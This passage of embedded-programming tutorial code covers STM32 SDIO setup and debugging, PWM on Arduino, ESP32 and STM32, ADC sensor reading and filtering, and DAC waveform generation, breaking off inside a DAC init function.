void sdio_enable_interrupt(void) {
    // Enable interrupt in card (CMD52 to CCCR)
    sdio_write_byte(0, SDIO_INT_ENABLE, 0x03);  // Master + Function 1

    // Enable SDIO peripheral interrupt
    SDIO->MASK |= SDIO_MASK_SDIOITIE;

    // Enable NVIC interrupt
    HAL_NVIC_SetPriority(SDIO_IRQn, 5, 0);
    HAL_NVIC_EnableIRQ(SDIO_IRQn);
}

// SDIO interrupt handler
void SDIO_IRQHandler(void) {
    if (SDIO->STA & SDIO_STA_SDIOIT) {
        // Clear interrupt flag
        SDIO->ICR = SDIO_ICR_SDIOITC;

        // Read interrupt pending register to identify source
        uint8_t pending = sdio_read_byte(0, SDIO_INT_PENDING);

        if (pending & 0x02) {  // Function 1 interrupt
            // Handle WiFi/BT interrupt
            handle_sdio_device_interrupt();
        }
    }
}

// Switch from 1-bit to 4-bit mode
HAL_StatusTypeDef switch_to_4bit_mode(void) {
    uint8_t bus_width;

    // Read current bus width from CCCR
    bus_width = sdio_read_byte(0, SDIO_BUS_IF_CTRL);

    // Set 4-bit mode in card
    bus_width &= ~0x03;
    bus_width |= 0x02;  // 4-bit mode
    sdio_write_byte(0, SDIO_BUS_IF_CTRL, bus_width);

    // Configure host for 4-bit mode
    if (HAL_SD_ConfigWideBusOperation(&hsd, SDIO_BUS_WIDE_4B) != HAL_OK) {
        return HAL_ERROR;
    }

    return HAL_OK;
}

// Enable high-speed mode (50 MHz)
HAL_StatusTypeDef enable_high_speed_mode(void) {
    uint8_t speed;

    // Check if card supports high-speed
    speed = sdio_read_byte(0, 0x13);  // Card Capability register
    if (!(speed & 0x01)) {
        return HAL_ERROR;  // High-speed not supported
    }

    // Enable high-speed in card
    speed = sdio_read_byte(0, SDIO_BUS_SPEED_SELECT);
    speed |= 0x01;  // Enable high-speed
    sdio_write_byte(0, SDIO_BUS_SPEED_SELECT, speed);

    // Increase host clock to 50 MHz
    SDIO_CLKCR &= ~0xFF;
    SDIO_CLKCR |= 0x00;  // 48 MHz / (0+2) = 24 MHz (adjust for your clock)

    return HAL_OK;
}

// Correct initialization order
void sdio_proper_init(void) {
    // 1. Power on with low clock (400 kHz)
    sdio_power_on();
    sdio_set_clock(400000);  // 400 kHz

    // 2. Send CMD0 (reset)
    sdio_send_command(CMD0_GO_IDLE_STATE, 0, 0);
    delay_ms(10);

    // 3. Send CMD5 (identify SDIO)
    uint32_t ocr = sdio_send_command(CMD5_IO_SEND_OP_COND, 0, 1);

    // 4. Wait for card ready
    do {
        ocr = sdio_send_command(CMD5_IO_SEND_OP_COND, 0x00FF8000, 1);
    } while (!(ocr & 0x80000000));

    // 5. Get RCA
    uint32_t rca = sdio_send_command(CMD3_SEND_RELATIVE_ADDR, 0, 1);

    // 6. Select card
    sdio_send_command(CMD7_SELECT_CARD, rca, 1);

    // 7. Switch to 4-bit mode if supported
    switch_to_4bit_mode();

    // 8. Increase clock to high speed
    sdio_set_clock(25000000);  // 25 MHz or 50 MHz
}

// Robust command execution with timeout and retries
HAL_StatusTypeDef sdio_command_with_retry(uint8_t cmd, uint32_t arg,
                                          uint8_t resp_type, int retries) {
    HAL_StatusTypeDef status;

    for (int i = 0; i < retries; i++) {
        status = sdio_send_command(cmd, arg, resp_type);

        if (status == HAL_OK) {
            return HAL_OK;
        }

        if (status == HAL_TIMEOUT) {
            // Reset command path
            SDIO->ICR = 0x7FF;
            delay_ms(10);
        } else if (status == HAL_ERROR) {
            // CRC error - may indicate signal integrity issue
            // Consider reducing clock speed
            break;
        }
    }

    return status;
}

// Efficient power management for battery devices
void sdio_enter_low_power(void) {
    // Notify card of low power mode
    sdio_write_byte(0, SDIO_POWER_CONTROL, 0x02);  // Low power mode

    // Reduce clock frequency
    sdio_set_clock(1000000);  // 1 MHz

    // Disable unused functions
    uint8_t io_enable = sdio_read_byte(0, SDIO_IO_ENABLE);
    io_enable &= 0x01;  // Keep only function 0
    sdio_write_byte(0, SDIO_IO_ENABLE, io_enable);
}

void sdio_exit_low_power(void) {
    // Re-enable functions
    sdio_write_byte(0, SDIO_IO_ENABLE, 0x02);  // Enable function 1

    // Restore clock frequency
    sdio_set_clock(25000000);

    // Exit low power mode
    sdio_write_byte(0, SDIO_POWER_CONTROL, 0x00);
}

PCB Design Checklist for SDIO:
☑ Controlled impedance traces (50Ω)
☑ Match DAT0-3 trace lengths within 5mm
☑ Keep traces under 100mm for high-speed mode
☑ Continuous ground plane under SDIO signals
☑ Decoupling: 0.1µF + 10µF at VDD pin
☑ Series resistors on CLK (22-33Ω) for edge control
☑ Pull-ups on CMD and DAT lines (10-50kΩ)
☑ Avoid routing under/near switching regulators

// Optimize block size for performance
void sdio_optimize_block_size(uint32_t transfer_size) {
    uint16_t block_size;

    if (transfer_size >= 512) {
        block_size = 512;  // Maximum efficiency
    } else if (transfer_size >= 256) {
        block_size = 256;
    } else if (transfer_size >= 128) {
        block_size = 128;
    } else {
        block_size = 64;  // Minimum practical size
    }

    sdio_set_block_size(1, block_size);
}

// Debug initialization
void debug_card_detection(void) {
    printf("Sending CMD0...\n");
    sdio_send_command(CMD0_GO_IDLE_STATE, 0, 0);

    printf("Sending CMD5 (OCR request)...\n");
    uint32_t ocr = sdio_send_command(CMD5_IO_SEND_OP_COND, 0, 1);

    if (ocr == 0) {
        printf("ERROR: No response to CMD5\n");
        printf("Check: Power, clock, pull-ups, card type\n");
    } else {
        printf("OCR: 0x%08X\n", ocr);
        printf("Voltage: %s\n", (ocr & 0x00FF8000) ? "OK" : "MISMATCH");
        printf("Card Ready: %s\n", (ocr & 0x80000000) ? "YES" : "NO");
    }
}

// Adaptive clock speed on CRC errors
void handle_crc_errors(void) {
    static int crc_error_count = 0;
    static uint32_t current_clock = 25000000;

    crc_error_count++;

    if (crc_error_count > 10) {
        // Reduce clock by 25%
        current_clock = current_clock * 3 / 4;
        sdio_set_clock(current_clock);

        printf("Reduced SDIO clock to %d Hz due to CRC errors\n", current_clock);
        crc_error_count = 0;
    }
}

// Check DMA buffer alignment
void verify_buffer_alignment(uint8_t *buffer, size_t size) {
    if ((uint32_t)buffer % 4 != 0) {
        printf("WARNING: Buffer not word-aligned!\n");
        printf("Address: 0x%08X\n", (uint32_t)buffer);
    }

    if (size % 4 != 0) {
        printf("WARNING: Size not multiple of 4!\n");
        printf("Size: %d bytes\n", size);
    }
}

// Debug interrupt configuration
void debug_sdio_interrupts(void) {
    // Check card interrupt enable
    uint8_t int_enable = sdio_read_byte(0, SDIO_INT_ENABLE);
    printf("Card INT Enable: 0x%02X (should be 0x03)\n", int_enable);

    // Check interrupt pending
    uint8_t int_pending = sdio_read_byte(0, SDIO_INT_PENDING);
    printf("INT Pending: 0x%02X\n", int_pending);

    // Check host controller interrupt enable
    printf("Host INT Mask: 0x%08X\n", SDIO->MASK);
    printf("Host Status: 0x%08X\n", SDIO->STA);
}

// Safe 4-bit mode switching with fallback
HAL_StatusTypeDef safe_switch_4bit_mode(void) {
    // Check card capabilities first
    uint8_t card_cap = sdio_read_byte(0, 0x08);  // Card Capability

    if (!(card_cap & 0x80)) {
        printf("Card does not support 4-bit mode\n");
        return HAL_ERROR;
    }

    // Attempt to switch
    if (switch_to_4bit_mode() != HAL_OK) {
        printf("4-bit mode switch failed, reverting to 1-bit\n");

        // Revert to 1-bit mode
        uint8_t bus_width = sdio_read_byte(0, SDIO_BUS_IF_CTRL);
        bus_width &= ~0x03;
        sdio_write_byte(0, SDIO_BUS_IF_CTRL, bus_width);

        HAL_SD_ConfigWideBusOperation(&hsd, SDIO_BUS_WIDE_1B);
        return HAL_ERROR;
    }

    // Test 4-bit mode with a read operation
    uint8_t test_data;
    if (sdio_read_byte(0, 0x00) == 0xFF) {  // Invalid response
        printf("4-bit mode verification failed\n");
        // Revert to 1-bit
        return HAL_ERROR;
    }

    printf("4-bit mode enabled successfully\n");
    return HAL_OK;
}

| Preamble | SFD | Dest MAC | Src MAC | EtherType | Payload | FCS |
| 7 bytes  | 1   | 6 bytes  | 6 bytes | 2 bytes   | 46-1500 | 4   |

Duty Cycle (%) = (Ton / (Ton + Toff)) × 100

Where:
- Ton = Time the signal is HIGH
- Toff = Time the signal is LOW
- Period = Ton + Toff

Frequency = 1 / Period
Period = 1 / Frequency

Average Voltage = Supply Voltage × (Duty Cycle / 100)

Example (5V supply):
- 0% duty → 0V average
- 25% duty → 1.25V average
- 50% duty → 2.5V average
- 100% duty → 5V average

100% Duty Cycle (Always ON):
█████████████████████████████

75% Duty Cycle:
██████████████████░░░░░░░

50% Duty Cycle:
█████████████░░░░░░░░░░░░

25% Duty Cycle:
██████░░░░░░░░░░░░░░░░░░░

0% Duty Cycle (Always OFF):
░░░░░░░░░░░░░░░░░░░░░░░░░

Max Frequency = Clock Frequency / (2^Resolution)

// Arduino Uno PWM pins: 3, 5, 6, 9, 10, 11
// Default frequency: ~490 Hz (pins 3,9,10,11) and ~980 Hz (pins 5,6)

const int ledPin = 9;
const int motorPin = 10;

void setup() {
  pinMode(ledPin, OUTPUT);
  pinMode(motorPin, OUTPUT);
}

void loop() {
  // analogWrite uses 8-bit resolution (0-255)

  // LED at 25% brightness
  analogWrite(ledPin, 64);  // 64/255 = 25%
  delay(1000);

  // LED at 50% brightness
  analogWrite(ledPin, 128);  // 128/255 = 50%
  delay(1000);

  // LED at 75% brightness
  analogWrite(ledPin, 192);  // 192/255 = 75%
  delay(1000);

  // LED at 100% brightness
  analogWrite(ledPin, 255);  // 255/255 = 100%
  delay(1000);
}

// Smooth fade effect
void fadeLED() {
  // Fade in
  for (int brightness = 0; brightness <= 255; brightness++) {
    analogWrite(ledPin, brightness);
    delay(5);
  }

  // Fade out
  for (int brightness = 255; brightness >= 0; brightness--) {
    analogWrite(ledPin, brightness);
    delay(5);
  }
}

// Change PWM frequency (Arduino Uno)
void setPWMFrequency(int pin, int divisor) {
  byte mode;

  if (pin == 5 || pin == 6 || pin == 9 || pin == 10) {
    switch(divisor) {
      case 1: mode = 0x01; break;    // 31.25 kHz
      case 8: mode = 0x02; break;    // 3.9 kHz
      case 64: mode = 0x03; break;   // 490 Hz (default for 9,10)
      case 256: mode = 0x04; break;  // 122 Hz
      case 1024: mode = 0x05; break; // 30 Hz
      default: return;
    }

    if (pin == 5 || pin == 6) {
      TCCR0B = (TCCR0B & 0b11111000) | mode;
    } else {
      TCCR1B = (TCCR1B & 0b11111000) | mode;
    }
  }
}

void setup() {
  pinMode(9, OUTPUT);
  setPWMFrequency(9, 1);  // Set pin 9 to 31.25 kHz
}

// ESP32 uses LEDC (LED Control) for PWM
// 16 independent channels, configurable frequency and resolution

const int ledPin = 25;
const int pwmChannel = 0;      // Channel 0-15
const int pwmFrequency = 5000; // 5 kHz
const int pwmResolution = 8;   // 8-bit (0-255)

void setup() {
  // Configure PWM channel
  ledcSetup(pwmChannel, pwmFrequency, pwmResolution);

  // Attach pin to PWM channel
  ledcAttachPin(ledPin, pwmChannel);
}

void loop() {
  // Set duty cycle (0-255 for 8-bit)
  ledcWrite(pwmChannel, 128);  // 50% duty cycle
  delay(1000);

  ledcWrite(pwmChannel, 64);   // 25% duty cycle
  delay(1000);
}

// High resolution PWM (16-bit)
void setupHighResPWM() {
  const int pwmChannel = 0;
  const int pwmFreq = 1000;    // Lower freq for higher resolution
  const int pwmRes = 16;       // 16-bit (0-65535)

  ledcSetup(pwmChannel, pwmFreq, pwmRes);
  ledcAttachPin(ledPin, pwmChannel);

  // Set to 50% with 16-bit precision
  ledcWrite(pwmChannel, 32768);
}

// Multiple PWM channels for RGB LED
const int redPin = 25;
const int greenPin = 26;
const int bluePin = 27;

void setupRGB() {
  ledcSetup(0, 5000, 8);  // Red channel
  ledcSetup(1, 5000, 8);  // Green channel
  ledcSetup(2, 5000, 8);  // Blue channel

  ledcAttachPin(redPin, 0);
  ledcAttachPin(greenPin, 1);
  ledcAttachPin(bluePin, 2);
}

void setRGBColor(uint8_t r, uint8_t g, uint8_t b) {
  ledcWrite(0, r);
  ledcWrite(1, g);
  ledcWrite(2, b);
}

void loop() {
  setRGBColor(255, 0, 0);    // Red
  delay(1000);
  setRGBColor(0, 255, 0);    // Green
  delay(1000);
  setRGBColor(0, 0, 255);    // Blue
  delay(1000);
  setRGBColor(255, 255, 0);  // Yellow
  delay(1000);
}

#include "stm32f4xx_hal.h"

TIM_HandleTypeDef htim3;

void PWM_Init(void) {
    TIM_OC_InitTypeDef sConfigOC = {0};

    // Timer 3 configuration for PWM
    htim3.Instance = TIM3;
    htim3.Init.Prescaler = 84 - 1;       // 84 MHz / 84 = 1 MHz
    htim3.Init.CounterMode = TIM_COUNTERMODE_UP;
    htim3.Init.Period = 1000 - 1;        // 1 MHz / 1000 = 1 kHz PWM
    htim3.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
    HAL_TIM_PWM_Init(&htim3);

    // Configure PWM channel 1
    sConfigOC.OCMode = TIM_OCMODE_PWM1;
    sConfigOC.Pulse = 500;               // 50% duty cycle
    sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
    sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
    HAL_TIM_PWM_ConfigChannel(&htim3, &sConfigOC, TIM_CHANNEL_1);

    // Start PWM
    HAL_TIM_PWM_Start(&htim3, TIM_CHANNEL_1);
}

void PWM_SetDutyCycle(uint16_t dutyCycle) {
    // dutyCycle: 0-1000 (0-100%)
    __HAL_TIM_SET_COMPARE(&htim3, TIM_CHANNEL_1, dutyCycle);
}

void PWM_SetPercent(uint8_t percent) {
    // percent: 0-100
    uint16_t pulse = (percent * 1000) / 100;
    PWM_SetDutyCycle(pulse);
}

// Standard servo: 50 Hz (20ms period)
// Pulse width: 1ms (0°) to 2ms (180°)

const int servoPin = 9;

void setup() {
  pinMode(servoPin, OUTPUT);
}

void setServoAngle(int angle) {
  // Map angle (0-180) to pulse width (1000-2000 μs)
  int pulseWidth = map(angle, 0, 180, 1000, 2000);

  // Generate 50 Hz PWM signal
  digitalWrite(servoPin, HIGH);
  delayMicroseconds(pulseWidth);
  digitalWrite(servoPin, LOW);
  delayMicroseconds(20000 - pulseWidth);  // Complete 20ms period
}

void loop() {
  setServoAngle(0);      // 0 degrees
  delay(1000);
  setServoAngle(90);     // 90 degrees
  delay(1000);
  setServoAngle(180);    // 180 degrees
  delay(1000);
}

// Using Servo library (easier)
#include <Servo.h>

Servo myServo;

void setup() {
  myServo.attach(9);     // Attach servo to pin 9
}

void loop() {
  myServo.write(0);      // 0 degrees
  delay(1000);
  myServo.write(90);     // 90 degrees
  delay(1000);
  myServo.write(180);    // 180 degrees
  delay(1000);
}

// Control DC motor speed and direction with L298N H-Bridge

const int motorPWM = 9;    // Speed control (PWM)
const int motorIN1 = 7;    // Direction control
const int motorIN2 = 8;    // Direction control

void setup() {
  pinMode(motorPWM, OUTPUT);
  pinMode(motorIN1, OUTPUT);
  pinMode(motorIN2, OUTPUT);
}

void setMotorSpeed(int speed) {
  // speed: -255 (full reverse) to +255 (full forward)

  if (speed > 0) {
    // Forward
    digitalWrite(motorIN1, HIGH);
    digitalWrite(motorIN2, LOW);
    analogWrite(motorPWM, speed);
  } else if (speed < 0) {
    // Reverse
    digitalWrite(motorIN1, LOW);
    digitalWrite(motorIN2, HIGH);
    analogWrite(motorPWM, -speed);
  } else {
    // Stop
    digitalWrite(motorIN1, LOW);
    digitalWrite(motorIN2, LOW);
    analogWrite(motorPWM, 0);
  }
}

void loop() {
  setMotorSpeed(128);    // 50% forward
  delay(2000);
  setMotorSpeed(255);    // 100% forward
  delay(2000);
  setMotorSpeed(0);      // Stop
  delay(1000);
  setMotorSpeed(-128);   // 50% reverse
  delay(2000);
}

// Smooth breathing effect
void breathingLED(int pin) {
  const int maxBrightness = 255;
  const int minBrightness = 0;
  const int step = 5;
  const int delayTime = 30;

  // Breathe in
  for (int brightness = minBrightness; brightness <= maxBrightness; brightness += step) {
    analogWrite(pin, brightness);
    delay(delayTime);
  }

  // Breathe out
  for (int brightness = maxBrightness; brightness >= minBrightness; brightness -= step) {
    analogWrite(pin, brightness);
    delay(delayTime);
  }
}

void setColorHSV(float h, float s, float v) {
  // Convert HSV to RGB
  float c = v * s;
  float x = c * (1 - abs(fmod(h / 60.0, 2) - 1));
  float m = v - c;

  float r, g, b;
  if (h < 60) { r = c; g = x; b = 0; }
  else if (h < 120) { r = x; g = c; b = 0; }
  else if (h < 180) { r = 0; g = c; b = x; }
  else if (h < 240) { r = 0; g = x; b = c; }
  else if (h < 300) { r = x; g = 0; b = c; }
  else { r = c; g = 0; b = x; }

  analogWrite(redPin, (r + m) * 255);
  analogWrite(greenPin, (g + m) * 255);
  analogWrite(bluePin, (b + m) * 255);
}

// Rainbow effect
void rainbow() {
  for (int hue = 0; hue < 360; hue++) {
    setColorHSV(hue, 1.0, 1.0);
    delay(10);
  }
}

void playTone(int pin, int frequency, int duration) {
  int period = 1000000 / frequency;  // Period in microseconds
  int halfPeriod = period / 2;

  long cycles = ((long)frequency * duration) / 1000;

  for (long i = 0; i < cycles; i++) {
    digitalWrite(pin, HIGH);
    delayMicroseconds(halfPeriod);
    digitalWrite(pin, LOW);
    delayMicroseconds(halfPeriod);
  }
}

void playMelody() {
  playTone(buzzerPin, 262, 500);  // C4
  playTone(buzzerPin, 294, 500);  // D4
  playTone(buzzerPin, 330, 500);  // E4
  playTone(buzzerPin, 349, 500);  // F4
}

// Using tone() function (easier)
void playNote(int frequency) {
  tone(buzzerPin, frequency);
  delay(500);
  noTone(buzzerPin);
}

int targetTemp = 25;    // Target temperature
int currentTemp = 30;   // Read from sensor

void controlFan() {
  int tempDiff = currentTemp - targetTemp;

  int fanSpeed;
  if (tempDiff <= 0) {
    fanSpeed = 0;  // Too cold, fan off
  } else if (tempDiff >= 10) {
    fanSpeed = 255;  // Very hot, max speed
  } else {
    // Proportional control
    fanSpeed = map(tempDiff, 0, 10, 50, 255);
  }

  analogWrite(fanPin, fanSpeed);
}

// LED dimming: Use higher frequency to avoid flicker
// Human eye perceives flicker below ~60 Hz
setPWMFrequency(ledPin, 1);  // 31 kHz - no visible flicker

// Motor control: Balance between smoothness and efficiency
// Too high: Increased switching losses
// Too low: Audible noise, torque ripple
// Optimal: 10-25 kHz

// Audio: Must be above hearing range
// Humans hear up to ~20 kHz
// Use 40+ kHz for audio PWM

PWM Pin ─── R ───┬─── Analog Output
                 │
                 C
                 │
                GND

Cutoff Frequency = 1 / (2π × R × C)

Example: R=1kΩ, C=10μF
fc = 1 / (2π × 1000 × 0.00001) ≈ 16 Hz

// Motors and solenoids are inductive
// Add flyback diode across load!

//        Motor
//    ┌────┴────┐
// PWM│         │GND
//    │   ▼─    │
//    └─────────┘
//    Flyback Diode

// Some Arduino pins share timers
// Changing frequency on one affects others!

// Pins 5 & 6 share Timer 0 (also used by millis/delay!)
// Pins 9 & 10 share Timer 1
// Pins 3 & 11 share Timer 2

// Changing Timer 0 frequency breaks millis() and delay()!

Resolution = Reference Voltage / (2^n - 1)

Where n = number of bits

Analog Input (2.5V) -> ADC -> Digital Output (512 for 10-bit at 5V ref)

Calculation: 2.5V / 5V * 1023 = 511.5 ~ 512

Digital Value = (Analog Voltage / Reference Voltage) * (2^n - 1)

Analog Voltage = (Digital Value / (2^n - 1)) * Reference Voltage

// Simple analog read
const int sensorPin = A0;

void setup() {
  Serial.begin(9600);

  // Optional: Set analog reference
  // analogReference(DEFAULT);  // 5V on Uno
  // analogReference(INTERNAL); // 1.1V internal reference
  // analogReference(EXTERNAL); // External AREF pin
}

void loop() {
  // Read analog value (0-1023)
  int rawValue = analogRead(sensorPin);

  // Convert to voltage
  float voltage = rawValue * (5.0 / 1023.0);

  Serial.print("Raw: ");
  Serial.print(rawValue);
  Serial.print(" | Voltage: ");
  Serial.print(voltage);
  Serial.println(" V");

  delay(500);
}

// Reading multiple analog pins
void readMultipleSensors() {
  int sensors[] = {A0, A1, A2, A3};

  for (int i = 0; i < 4; i++) {
    int value = analogRead(sensors[i]);
    float voltage = value * (5.0 / 1023.0);
    Serial.print("Sensor ");
    Serial.print(i);
    Serial.print(": ");
    Serial.println(voltage);
  }
}

// ESP32 has two ADC units with multiple channels
const int analogPin = 34;  // ADC1_CH6 (GPIO 34)

void setup() {
  Serial.begin(115200);

  // Set ADC resolution (9-12 bits)
  analogReadResolution(12);  // Default is 12 bits (0-4095)

  // Set ADC attenuation (changes measurement range)
  // ADC_0db: 0-1.1V
  // ADC_2_5db: 0-1.5V
  // ADC_6db: 0-2.2V (default)
  // ADC_11db: 0-3.3V
  analogSetAttenuation(ADC_11db);

  // Or set per pin
  analogSetPinAttenuation(analogPin, ADC_11db);
}

void loop() {
  int rawValue = analogRead(analogPin);

  // Convert to voltage (with 11db attenuation, 0-3.3V range)
  // Note: ESP32 ADC is non-linear, consider calibration
  float voltage = rawValue * (3.3 / 4095.0);

  Serial.print("Raw: ");
  Serial.print(rawValue);
  Serial.print(" | Voltage: ");
  Serial.println(voltage);

  delay(100);
}

// Better: Use calibrated read
#include "esp_adc_cal.h"

esp_adc_cal_characteristics_t adc_chars;

void setupCalibrated() {
  esp_adc_cal_characterize(ADC_UNIT_1, ADC_ATTEN_DB_11,
                           ADC_WIDTH_BIT_12, 1100, &adc_chars);
}

void loopCalibrated() {
  uint32_t voltage = analogRead(analogPin);
  voltage = esp_adc_cal_raw_to_voltage(voltage, &adc_chars);

  Serial.print("Calibrated voltage: ");
  Serial.print(voltage);
  Serial.println(" mV");
}

#include "stm32f4xx_hal.h"

ADC_HandleTypeDef hadc1;

void ADC_Init(void) {
    ADC_ChannelConfTypeDef sConfig = {0};

    // Configure ADC
    hadc1.Instance = ADC1;
    hadc1.Init.ClockPrescaler = ADC_CLOCK_SYNC_PCLK_DIV4;
    hadc1.Init.Resolution = ADC_RESOLUTION_12B;
    hadc1.Init.ScanConvMode = DISABLE;
    hadc1.Init.ContinuousConvMode = DISABLE;
    hadc1.Init.DiscontinuousConvMode = DISABLE;
    hadc1.Init.ExternalTrigConv = ADC_SOFTWARE_START;
    hadc1.Init.DataAlign = ADC_DATAALIGN_RIGHT;
    hadc1.Init.NbrOfConversion = 1;
    HAL_ADC_Init(&hadc1);

    // Configure channel
    sConfig.Channel = ADC_CHANNEL_0;
    sConfig.Rank = 1;
    sConfig.SamplingTime = ADC_SAMPLETIME_84CYCLES;
    HAL_ADC_ConfigChannel(&hadc1, &sConfig);
}

uint16_t ADC_Read(uint32_t channel) {
    ADC_ChannelConfTypeDef sConfig = {0};

    sConfig.Channel = channel;
    sConfig.Rank = 1;
    HAL_ADC_ConfigChannel(&hadc1, &sConfig);

    // Start conversion
    HAL_ADC_Start(&hadc1);

    // Wait for conversion to complete
    HAL_ADC_PollForConversion(&hadc1, 100);

    // Read value
    uint16_t value = HAL_ADC_GetValue(&hadc1);

    return value;
}

float ADC_ReadVoltage(uint32_t channel) {
    uint16_t raw = ADC_Read(channel);
    // Convert to voltage (assuming 3.3V reference)
    float voltage = (raw * 3.3f) / 4095.0f;
    return voltage;
}

// DMA-based continuous conversion
uint16_t adc_buffer[16];

void ADC_Start_DMA(void) {
    HAL_ADC_Start_DMA(&hadc1, (uint32_t*)adc_buffer, 16);
}

#include <Wire.h>
#include <Adafruit_ADS1X15.h>

Adafruit_ADS1115 ads;  // 16-bit ADC

void setup() {
  Serial.begin(115200);

  // Initialize ADS1115
  if (!ads.begin()) {
    Serial.println("Failed to initialize ADS1115!");
    while (1);
  }

  // Set gain
  // ads.setGain(GAIN_TWOTHIRDS);  // +/-6.144V range
  // ads.setGain(GAIN_ONE);        // +/-4.096V range
  ads.setGain(GAIN_TWO);           // +/-2.048V range (default)
  // ads.setGain(GAIN_FOUR);       // +/-1.024V range
  // ads.setGain(GAIN_EIGHT);      // +/-0.512V range
  // ads.setGain(GAIN_SIXTEEN);    // +/-0.256V range
}

void loop() {
  // Read single-ended from channel 0
  int16_t adc0 = ads.readADC_SingleEnded(0);
  float voltage0 = ads.computeVolts(adc0);

  // Read differential (channel 0 - channel 1)
  int16_t diff01 = ads.readADC_Differential_0_1();

  Serial.print("ADC0: ");
  Serial.print(adc0);
  Serial.print(" | Voltage: ");
  Serial.println(voltage0);

  delay(100);
}

const int thermistorPin = A0;
const float BETA = 3950;  // Beta coefficient
const float R0 = 10000;   // Resistance at 25C
const float T0 = 298.15;  // 25C in Kelvin

float readTemperature() {
  int raw = analogRead(thermistorPin);

  // Convert to resistance
  float R = 10000.0 * (1023.0 / raw - 1.0);

  // Steinhart-Hart equation
  float T = 1.0 / (1.0/T0 + (1.0/BETA) * log(R/R0));

  return T - 273.15;  // Convert to Celsius
}

const int ldrPin = A1;

int readLightLevel() {
  int rawValue = analogRead(ldrPin);

  // Convert to percentage
  int lightPercent = map(rawValue, 0, 1023, 0, 100);

  return lightPercent;
}

const int potPin = A2;
const int ledPin = 9;  // PWM pin

void setup() {
  pinMode(ledPin, OUTPUT);
}

void loop() {
  int potValue = analogRead(potPin);

  // Map to PWM range (0-255)
  int brightness = map(potValue, 0, 1023, 0, 255);

  analogWrite(ledPin, brightness);
}

const int batteryPin = A3;
const float voltageDividerRatio = 2.0;  // R1=R2=10k

float readBatteryVoltage() {
  int raw = analogRead(batteryPin);

  // Convert to actual voltage
  float adcVoltage = raw * (5.0 / 1023.0);

  // Account for voltage divider
  float batteryVoltage = adcVoltage * voltageDividerRatio;

  return batteryVoltage;
}

void checkBattery() {
  float voltage = readBatteryVoltage();

  if (voltage < 3.3) {
    Serial.println("WARNING: Low battery!");
  }
}

const int currentSensorPin = A4;
const float sensitivity = 0.185;  // 185mV/A for ACS712-05B

float readCurrent() {
  int raw = analogRead(currentSensorPin);
  float voltage = raw * (5.0 / 1023.0);

  // Zero point is 2.5V (Vcc/2)
  float offsetVoltage = voltage - 2.5;

  // Calculate current
  float current = offsetVoltage / sensitivity;

  return current;
}

float readAverageAnalog(int pin, int samples = 10) {
  long sum = 0;

  for (int i = 0; i < samples; i++) {
    sum += analogRead(pin);
    delay(10);  // Small delay between reads
  }

  return (float)sum / samples;
}

// Software low-pass filter (running average)
const int numReadings = 10;
int readings[numReadings];
int readIndex = 0;
int total = 0;

int smoothedRead(int pin) {
  total -= readings[readIndex];
  readings[readIndex] = analogRead(pin);
  total += readings[readIndex];
  readIndex = (readIndex + 1) % numReadings;

  return total / numReadings;
}

// To measure higher voltages, use voltage divider
// Vin     R1  ,    R2     GND
//
//          ADC Pin

// Example: Measure 12V with 5V ADC
// R1 = 10k ohm, R2 = 7.5k ohm
// Vout = Vin * (R2 / (R1 + R2))
// Vout = 12V * (7.5 / 17.5) = 5.14V (slightly over, use 6.8k ohm for R2)

struct CalibrationData {
  float slope;
  float offset;
};

CalibrationData calibrate(int pin, float knownVoltage) {
  int rawValue = analogRead(pin);

  CalibrationData cal;
  cal.slope = knownVoltage / rawValue;
  cal.offset = 0;  // Adjust if needed

  return cal;
}

float calibratedRead(int pin, CalibrationData cal) {
  int raw = analogRead(pin);
  return (raw * cal.slope) + cal.offset;
}

Digital Input (512) -> DAC -> Analog Output (2.5V)

For 10-bit DAC with 5V reference:
Voltage = (512 / 1023) * 5V = 2.5V

Output Voltage = (Digital Value / (2^n - 1)) * Reference Voltage

Where:
- n = number of bits
- Digital Value = input code (0 to 2^n - 1)
- Reference Voltage = max output voltage

// Arduino Due has two DAC pins: DAC0 and DAC1

void setup() {
  analogWriteResolution(12);  // Set DAC resolution to 12 bits (0-4095)
}

void loop() {
  // Output 1.65V on DAC0 (half of 3.3V reference)
  analogWrite(DAC0, 2048);  // 2048 / 4095 * 3.3V = 1.65V

  delay(1000);

  // Ramp voltage from 0V to 3.3V
  for (int value = 0; value < 4096; value++) {
    analogWrite(DAC0, value);
    delayMicroseconds(100);
  }
}

// Generate sine wave
void generateSineWave() {
  const int samples = 100;
  float frequency = 1000;  // 1 kHz

  for (int i = 0; i < samples; i++) {
    float angle = (2.0 * PI * i) / samples;
    int value = (sin(angle) + 1.0) * 2047.5;  // Scale to 0-4095
    analogWrite(DAC0, value);

    delayMicroseconds(1000000 / (frequency * samples));
  }
}

// ESP32 has two DAC channels: GPIO25 (DAC1) and GPIO26 (DAC2)

void setup() {
  // No special initialization needed for DAC
}

void loop() {
  // Output voltage (0-255 for 8-bit)
  // 0 = 0V, 255 = 3.3V
  dacWrite(25, 128);  // Output ~1.65V on GPIO25

  delay(1000);
}

// Generate sawtooth wave
void generateSawtoothWave() {
  for (int value = 0; value < 256; value++) {
    dacWrite(25, value);
    delayMicroseconds(10);
  }
}

// Generate triangle wave
void generateTriangleWave() {
  // Rising edge
  for (int value = 0; value < 256; value++) {
    dacWrite(25, value);
    delayMicroseconds(10);
  }

  // Falling edge
  for (int value = 255; value >= 0; value--) {
    dacWrite(25, value);
    delayMicroseconds(10);
  }
}

// Generate square wave
void generateSquareWave() {
  dacWrite(25, 255);  // HIGH
  delay(1);
  dacWrite(25, 0);    // LOW
  delay(1);
}

// Audio tone generation
void playTone(int frequency, int duration) {
  const int samples = 32;
  byte sineWave[samples];

  // Pre-calculate sine wave
  for (int i = 0; i < samples; i++) {
    sineWave[i] = (sin(2.0 * PI * i / samples) + 1.0) * 127.5;
  }

  unsigned long startTime = millis();
  int sampleDelay = 1000000 / (frequency * samples);

  while (millis() - startTime < duration) {
    for (int i = 0; i < samples; i++) {
      dacWrite(25, sineWave[i]);
      delayMicroseconds(sampleDelay);
    }
  }
}

#include "stm32f4xx_hal.h"

DAC_HandleTypeDef hdac;

void DAC_Init(void) {
    DAC_ChannelConfTypeDef sConfig = {0};

    // Initialize DAC
    hdac.Instance = DAC;
    HAL_DAC_Init(&hdac);

    // Configure DAC channel 1
    sConfig.DAC_Trigger = DAC_TRIGGER_NONE;
    sConfig.DAC_OutputBuffer = DAC_OUTPUTBUFFER_ENABLE;
